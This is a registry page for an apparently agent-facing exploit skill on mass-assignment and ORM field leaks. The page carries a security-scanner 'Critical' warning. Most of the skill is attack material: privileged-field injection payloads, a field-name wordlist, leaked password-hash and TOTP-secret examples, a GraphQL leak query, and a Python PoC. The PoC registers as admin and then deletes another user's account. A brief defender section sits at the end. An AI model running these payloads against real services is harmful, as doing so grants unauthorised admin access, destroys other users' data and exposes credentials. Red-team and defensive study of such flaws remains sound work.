CtrlK
BlogDocsLog inGet started
Tessl Logo

mass-assignment

Mass assignment + ORM leak — inject extra fields into create/update requests, escalate to admin, leak protected fields via response.

64

Quality

76%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md
SKILL.md
Quality
Evals
Security

Mass Assignment + ORM Leak

API endpoints that bind request JSON straight to model update() / create() without an allowlist can be coerced into setting admin fields (is_admin, role, verified, etc).

1. Detect

# Capture a legitimate update request
PATCH /api/users/me
{"name": "Alice"}

# Try adding common privileged fields
PATCH /api/users/me
{"name": "Alice", "is_admin": true, "role": "admin", "verified": true,
 "balance": 999999, "permissions": ["*"], "isStaff": true,
 "membership_level": "premium", "tier": "enterprise"}

Re-fetch own profile. If any of the injected fields persists with attacker-set value → mass assignment.

2. Common field names to try

is_admin  isAdmin  admin  superuser  is_staff  isStaff  staff
role  roles  permission  permissions  scope  scopes  group  groups
verified  email_verified  isVerified  approved  banned  is_banned
balance  credits  points  reputation
tier  membership_level  plan  subscription
created_at  email  user_id  uuid  external_id  organization_id
password  password_hash

3. Framework-specific patterns

Rails (legacy, pre-strong-params)

User.create(params[:user]) → all params mass-assigned. Rails 4+ enforces params.require(:user).permit(:name, :email). If permit list is too broad, mass assignment.

Django REST Framework

UserSerializer(instance, data=request.data, partial=True).save() → all declared fields settable. Bug: developer adds is_staff to serializer fields by mistake.

Express / Mongoose

User.findOneAndUpdate({_id: req.params.id}, req.body)
// → any req.body field becomes a $set. Catastrophic.

Spring Boot

@RequestBody User u → Jackson binds all settable properties. If User has setter for role, attacker can set it.

Go / Echo / Gin

c.Bind(&user) → same pattern.

4. ORM Leak — the response side

Sometimes the response serializer leaks fields the request can't set:

GET /api/users/123
{
  "id": 123,
  "name": "Alice",
  "email": "alice@target.com",
  "password_hash": "$2a$12$...",       ← leak!
  "totp_secret": "JBSW...",            ← leak!
  "stripe_customer_id": "cus_...",
  "internal_notes": "VIP customer"
}

Or via GraphQL field expansion:

query { user(id: 123) { id name email passwordHash totpSecret } }

5. Tools

  • Burp Intruder w/ wordlist of common privileged field names
  • Manual exploration in dev tools — note ALL fields the app sees, try setting each

6. PoC

import requests

# Step 1: Register normal account
r = requests.post(f"{TARGET}/register", json={
    "username": "attacker",
    "password": "test123",
    "is_admin": True,        # try
    "role": "admin",         # try
})

# Step 2: Login + check
sess = requests.Session()
sess.post(f"{TARGET}/login", json={"username": "attacker", "password": "test123"})
me = sess.get(f"{TARGET}/api/users/me").json()
assert me.get("is_admin") == True   # boom

# Step 3: Use admin powers
sess.delete(f"{TARGET}/api/users/2")   # delete another user → confirm admin

7. Severity

BugSeverity
Mass assignment to is_admin / roleCritical 9.8
Mass assignment to balance / creditsCritical 9.0
Mass assignment to email_verifiedHigh 7-8 (chains to ATO)
ORM leak of password_hashCritical 9.8
ORM leak of TOTP secretCritical 9.8
ORM leak of internal notes / PIIHigh 7-8

8. Defender

# Django REST Framework — explicit serializer fields, read_only_fields
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['name', 'email']    # whitelist
        read_only_fields = ['id', 'created_at', 'is_admin', 'role']

# Rails — strong params
def user_params
  params.require(:user).permit(:name, :email)
end

# General: NEVER serialize entire model directly. Always project.

Cross-references

  • Upstream catalog: skills/_corpus/payloads/Mass Assignment/ + ORM Leak/
  • API misconfig: skills/exploit/web/methodology/ (when added)

Known exemplars

  • GitHub 2012: Egor Homakov's classic Rails mass-assignment → set someone else as repo collaborator. Cost: company crisis, paper.
  • Multiple Shopify / Atlassian / GitLab bounties for missing strong params
  • 2023 GraphQL mass-introspection-leak campaigns
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.